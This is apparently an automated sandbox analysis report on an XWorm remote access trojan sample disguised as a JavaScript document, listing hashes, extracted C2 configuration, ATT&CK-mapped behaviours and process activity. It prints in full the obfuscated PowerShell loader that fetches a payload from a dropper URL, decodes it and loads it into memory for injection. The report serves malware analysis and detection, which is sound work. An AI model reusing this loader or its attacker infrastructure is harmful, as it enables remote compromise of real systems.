xworm | 0b7c5c8f57b22190bcf2b9948b2316d5bfcdb2e8c6b542489a8b29fecda6ac48

Analysis

max time kernel
149s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
07/08/2026, 10:19

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General

Target
documento...06082026.js
Size 1.0MB
Sample260807-mcy3mswtbs
SHA256 0b7c5c8f57b22190bcf2b9948b2316d5bfcdb2e8c6b542489a8b29fecda6ac48
MD5 2040eb8c29ad3b929f3db450a3134ebc
SHA1 4ee92a7e47f6931cb323d4300ed647eb1ff83f11
SHA512 810e8a45cf3721b2cd7a28cc1c68a04874602344bcbf79c4bff7040df1e0779c395b1eb2ccf5c7e9d34fc79162e52fdca9ed122f91b2f9bacfe72f2eecdc7ce3
SSDEEP 384:V+UWPoB4IpaBBRvIpN+U+WQRhaa4IpN+U+hN+Wf+UWGIp4Ip4IpN+oBatQBBBB4K:1cEIqa
TLSH
T137354F5202F3A292A13FE3D9DA81A368F72A813F64961D47743E46DC87D35C60E3BD64
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xworm rat trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://muddy-sound-e0cd.nodetectonn.workers.dev/ohYCb

Extracted

Family

xworm

Version

64.89.162.178:7007

Mutex

lv1iWCBws8ODmePC

Attributes

install_file
USB.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/452-12-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3176	4140	powershell.exe	85

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	3176	powershell.exe
8	3176	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3176	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3176 set thread context of 452	3176	powershell.exe	90

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3176	powershell.exe
3176	powershell.exe
3176	powershell.exe
3176	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3176	powershell.exe
Token: SeDebugPrivilege	452	Caspol.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3176 wrote to memory of 4588	3176	powershell.exe	89
PID 3176 wrote to memory of 452	3176	powershell.exe	90
PID 3176 wrote to memory of 452	3176	powershell.exe	90
PID 3176 wrote to memory of 452	3176	powershell.exe	90
PID 3176 wrote to memory of 452	3176	powershell.exe	90
PID 3176 wrote to memory of 452	3176	powershell.exe	90

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\documento...06082026.js
1⤵
PID:4248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$bartholomite=''https://muddy-sound-e0cd.nodetectonn.workers.dev/ohYCb''; $compossibility = [System.Net.HttpWebRequest]::Create($bartholomite); $compossibility.UserAgent = ''Mozilla/5.0''; $sfregazzi = $compossibility.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($sfregazzi); $kourbash = $reader.ReadtoEnd(); $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge=[string]::IndexOf($kourbash, $lacune); $pajero=$kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic=$javaone_2008_ge+$lacune.Length; $anomocarpous=$kourbash.Substring($kourbash.IndexOf($lacune)+$lacune.Length, $pajero-($kourbash.IndexOf($lacune)+$lacune.Length)); $phassachate=$anomocarpous.Replace(''#'',''A'').ToCharArray(); [Array]::Reverse($phassachate); $perforati=$phassachate -join ''''; [byte[]]$hobblingly=[Convert]::FromBase64String($perforati); $bosta=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $unswerving=$bosta.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $landaulets=(''pdq7PAD1F6vTR8bb3xJsKaa9If/rEYHgfxs+KFCsl1HkMY1g4Rho3xxkzZWUXYVOr/vayudcwJSuv1YmYw+DspbDgGo4BGL8zhS5vXjkD+o='','''',''yDC/b7Rjm7H8qI8HPRRIUwTxqA+ZHTWIkxOLiNPP+KneniFPnOhSJ617RIHY/G4X'',''fzTF0pmBqDdKcmPbKBoQWFWst6qeIq43V239nFTCyco='',''WMV8ICzR1CT2zQLeGfAJUBrm+nTkU+TBsHXubL3OJrQ='','''',''OBMzwHUW2m5FO5w++I63IOHpqOYjSHjO2GR4JuU3X8k='','''',''KpV2k/nUu2QtkMcrHYF4z5K3P1lQWzbkh/SKXor7Okc='',''KrP/WFzRnrKfe+vr90to1fp4n/4MGxtfHVNpt2qENJOBuG77IBtREScfvc/dLDRL'',''wk3aNtIXmp9r3At4a1SrBDHB30e2XP1mmx5k9LdHKkk='',''HGk+bnZIv1Kl5cUCHW9tqKSBPwAidx6pQsojyxFyfFY='',''Lb5Kai5b82UlhxRMi3aO1fdzFkMq/wWvzV+DBI8YrG4='','''',''qvg8+t55u0zHgdsaOy6Da0R9XMW0nmU+KQ2e8baZqIs='',''K7L2lfJzfKH0aAJ8JHtPzL3Zu6EuciQU3StNsJLKJ8U='','''','''','''',''8L1sqbpaOHPzvS1kWnE14VbbbPeLSOS2nsqtXmQCsyg='',''JuSOR7IkPcSAlItpw+jrL3GTtiFEdoCKkXojOqz4954=''); try{$monometallist=($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$landaulets)}catch{}'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3176
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  PID:4588
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:452

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_4xws2jxu.wdj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4xws2jxu.wdj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/452-12-0x0000000000400000-0x000000000040E000-memory.dmp

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memory/452-16-0x0000000004EB0000-0x0000000004F4C000-memory.dmp

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memory/452-17-0x0000000005550000-0x00000000055B6000-memory.dmp

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memory/452-18-0x0000000006070000-0x0000000006102000-memory.dmp

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memory/452-19-0x00000000066C0000-0x0000000006C64000-memory.dmp

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memory/3176-0-0x000001779F680000-0x000001779F690000-memory.dmp

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memory/3176-8-0x000001779F7E0000-0x000001779F802000-memory.dmp

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memory/3176-9-0x000001779F680000-0x000001779F690000-memory.dmp

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memory/3176-10-0x00000177B7F10000-0x00000177B7FA2000-memory.dmp

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memory/3176-11-0x000001779F850000-0x000001779F85A000-memory.dmp

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memory/3176-15-0x00000177B78B0000-0x00000177B7ACC000-memory.dmp

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